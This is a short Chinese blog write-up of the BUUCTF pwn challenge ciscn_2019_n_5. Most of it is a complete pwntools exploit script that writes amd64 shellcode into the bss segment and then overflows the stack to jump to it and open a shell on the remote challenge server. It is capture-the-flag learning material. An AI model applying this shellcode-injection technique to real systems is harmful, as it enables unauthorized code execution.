博客园 首页 私信博主 回到顶部 联系博主
(仅pc端)
管理 换背景图

BUUCTF-ciscn_2019_n_5(13/100)

一、查保护

二、代码审计


三、过程

向bss段写入shell,再通过栈溢出跳入。

四、脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)
rv=lambda x:io.recv(x)

#io = process('./')
io=remote('node3.buuoj.cn',26814)
#elf=ELF('./')

sla('name',asm(shellcraft.amd64.sh()))
sla('?','a'* 0x20 + 'b'* 8 + p64(0x601080))

io.interactive()

五、总结

学到了pwntools获取shell代码的函数asm(shellcraft.amd64.sh())但是需要搭配context(os='linux', arch='amd64', log_level='debug')一起使用。

posted @ 2021-01-22 00:31  温一壶白开  阅读(243)  评论(0)    收藏  举报